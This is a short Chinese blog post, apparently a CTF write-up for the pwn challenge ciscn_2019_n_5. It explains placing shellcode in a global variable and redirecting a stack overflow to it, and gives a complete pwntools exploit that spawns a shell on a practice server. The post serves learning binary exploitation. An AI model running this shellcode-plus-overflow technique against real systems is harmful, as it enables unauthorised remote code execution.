pwn | ciscn_2019_n_5
pwn | ciscn_2019_n_5
很简单,啥保护都没有
思路也很简单,直接全局变量写shellcode然后栈溢出跳转过去。
存在一点点问题,就是本地ubuntu20bss段执行不了shellcode,目标机器ubuntu18可以执行【很怪,这个地方一直没弄明白】。
exp:
from pwn import *
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
shellcode = shellcraft.sh()
# print(shellcode)
shellcode = asm(shellcode)
# p = process('./ciscn_2019_n_5')
p = remote('node4.buuoj.cn', 29984)
p.recvuntil('name')
p.sendline(shellcode)
p.recvuntil('name')
payload = 0x28*b'a'+ p64(0x0000000000601080)
print(payload)
p.sendline(payload)
p.interactive()
有一点想法就是,工欲善其事,必先利其器。
在之后学习的时候首先还是应该把工具玩熟练,不至于每次还得查怎么用怎么用,比如说gdb,虽然每次都能弄出来,但是还是得查,比如说怎么查内存什么的,还是得练熟了才行(还是图形化香啊)。
本文来自博客园,作者:Mz1,转载请注明原文链接:https://www.cnblogs.com/Mz1-rc/p/16924471.html
如果有问题可以在下方评论或者email:mzi_mzi@163.com